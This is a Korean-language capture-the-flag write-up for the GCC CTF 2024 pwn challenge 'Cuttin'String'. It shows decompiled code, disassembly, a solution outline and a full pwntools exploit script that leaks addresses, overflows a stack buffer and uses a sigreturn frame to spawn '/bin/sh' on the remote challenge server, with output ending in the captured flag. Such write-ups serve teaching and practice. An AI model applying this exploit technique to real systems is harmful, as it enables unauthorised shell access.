콘텐츠로 건너뛰기

GCC CTF 2024 – Pwn/Cuttin’String

Description

I made the lightest string cutting tool!

Some people reported bugs, but anyway you can’t exploit them as there is no libc.

Author: Drahoxx

nc challenges1.gcc-ctf.com 4004

checksec

seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ checksec ./chall
[!] Did not find any GOT entries
[*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Decompiled-src

start

void __fastcall __noreturn start(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  int v6; // edx
  int v7; // ecx
  int v8; // r8d
  int v9; // r9d

  PUTS(
    a1,
    a2,
    a3,
    a4,
    a5,
    a6,
    0LL,
    (__int64)"\nCuttin'String, the smallest string cutting tool\n-----------------------------------------------\n");
  while ( 1 )
    main_loop(a1, a2, v6, v7, v8, v9);
}

main_loop

__int64 __fastcall main_loop(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
  __int64 v6; // rdx
  __int64 v7; // rcx
  __int64 v8; // r8
  __int64 v9; // r9
  __int64 v10; // rdx
  __int64 v11; // rcx
  __int64 v12; // r8
  __int64 v13; // r9

  PUTS(a1, a2, a3, a4, a5, a6, 0LL, (__int64)"Enter the length of the string (in decimal) > ");
  get_len_str();
  PUTS(a1, a2, v6, v7, v8, v9, 0LL, (__int64)"Enter the string to cut > ");
  read_and_print_str();
  return PUTS(a1, a2, v10, v11, v12, v13, 0LL, (__int64)"\n\n---\n");
}

get_len_str

__int64 get_len_str()
{
  __int64 v0; // r8
  __int64 v1; // r9
  __int64 v2; // r10
  __int64 i; // rcx
  __int64 result; // rax
  signed __int64 v5; // rax
  char v6[8]; // [rsp+0h] [rbp-8h] BYREF

  _LOAD_SYS_READ();
  __asm { syscall; LINUX - }
  v2 = 0LL;
  for ( i = 0LL; i != 8; ++i )
  {
    result = (unsigned __int8)v6[i];
    if ( !(_BYTE)result || (_BYTE)result == 10 )
      break;
    if ( (unsigned __int8)result < 0x30u || (unsigned __int8)result > 0x39u )
    {
      PUTS(0LL, (__int64)v6, 8LL, i, v0, v1, 0LL, (__int64)"Error. Enter a number in decimal.\n");
      v5 = sys_exit(0);
    }
    if ( i )
      v2 *= 10LL;
    result -= 48LL;
    v2 += result;
  }
  return result;
}

_LOAD_SYS_WRITE

gdb-peda$ disas __LOAD_SYS_WRITE
Dump of assembler code for function __LOAD_SYS_WRITE:
   0x0000555555555004 <+0>:     xor    rax,rax
   0x0000555555555007 <+3>:     mov    edi,0x1
   0x000055555555500c <+8>:     inc    al
   0x000055555555500e <+10>:    ret
End of assembler dump.

_LOAD_SYS_READ

gdb-peda$ disas __LOAD_SYS_READ
Dump of assembler code for function __LOAD_SYS_READ:
   0x0000555555555000 <+0>:     xor    rax,rax
   0x0000555555555003 <+3>:     ret
End of assembler dump.

read_and_print_str

__int64 read_and_print_str()
{
  __int64 v0; // rcx
  __int64 v1; // r8
  __int64 v2; // r9
  __int64 v3; // r10
  _BYTE v5[512]; // [rsp+0h] [rbp-200h] BYREF

  _LOAD_SYS_READ();
  __asm { syscall; LINUX - }
  return PUTS(0LL, (__int64)v5, 1298LL, v0, v1, v2, v3, (__int64)v5);
}

Solution

  1. get_len_str 함수에서 입력받을 길이를 500이상으로 해서, 스택의 임의주소를 노출시켜 read_and_print_str에서의 v5 스택 주소를 계산한다. 또, chall 바이너리의 text base 주소 또한 구할 수 있다.
  2. read_and_print_str 함수를 통해 버퍼 오버플로우를 발생시켜 srop으로 쉘을 획득하면 된다.
    read_and_print_str의 v5에 저장될 버퍼에는 “/bin/sh\x00” 문자열을 채우고, srop 페이로드를 통해 rip가 이동되게끔 만들면 된다. 이동되기전에 rax가 SYS_rt_sigreturn 시스템콜 번호인 15여야 하는데, 이는 _LOAD_SYS_WRITE에 있는 어셈블리 코드인 inc al을 이용하면 된다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

#p = process("./chall")
p = remote("challenges1.gcc-ctf.com", 4004)
e = ELF('./chall')

p.sendlineafter("Enter the length of the string (in decimal) > ", "500")
p.sendlineafter("Enter the string to cut > ", "0")

p.recv(0xb8)
pht_entry_0 = u64(p.recv(8))
print(f"pht_entry: {hex(pht_entry_0)}")
chall_base = pht_entry_0 - 0x40
print(f"chall_base: {hex(chall_base)}")
p.recv(120)
unk = u64(p.recv(8))
print(f"unk? {hex(unk)}")
bin_sh_address = unk - (0x208) #-0x4e1
#bin_sh_address = unk  - (0x4e1 - 0x8*35 - 11)
print(f"bin_sh_address? {hex(bin_sh_address)}")

p.sendlineafter("Enter the length of the string (in decimal) > ", "0")

bin_sh = b"/bin/sh\x00"*50
payload = b''
payload += bin_sh + b'\x41'*(512-len(bin_sh))
payload += b"A"*8
syscall = chall_base + 0x1034

# Make rax to SYS_rt_sigreturn, 15
payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'])
for i in range(15-1):
    payload += p64(chall_base + e.symbols['__LOAD_SYS_WRITE'] + 0x8)
#syscall
payload += p64(syscall)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = chall_base + 0x3fb0
frame2.rdi = bin_sh_address
payload += bytes(frame2)
payload += bin_sh

#pause()
p.sendlineafter("Enter the string to cut > ", payload)

#pause()

p.interactive()

Result

seo@seo:~/Documents/gcc_ctf_2024/Cuttin_String$ python3 solve.py
[+] Opening connection to challenges1.gcc-ctf.com on port 4004: Done
[!] Did not find any GOT entries
[*] '/home/seo/Documents/gcc_ctf_2024/Cuttin_String/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
pht_entry: 0x5629a4e6a040
chall_base: 0x5629a4e6a000
unk? 0x7ffdf0bd11f0
bin_sh_address? 0x7ffdf0bd0fe8
[*] Switching to interactive mode
$ ls
flag.txt
pwn
$ cat flag.txt
GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}
$
[*] Interrupted
[*] Closed connection to challenges1.gcc-ctf.com port 4004

FLAG

GCC{SR0p_1s_f0r_Sup3r_R0P_Right?}

태그:

답글 남기기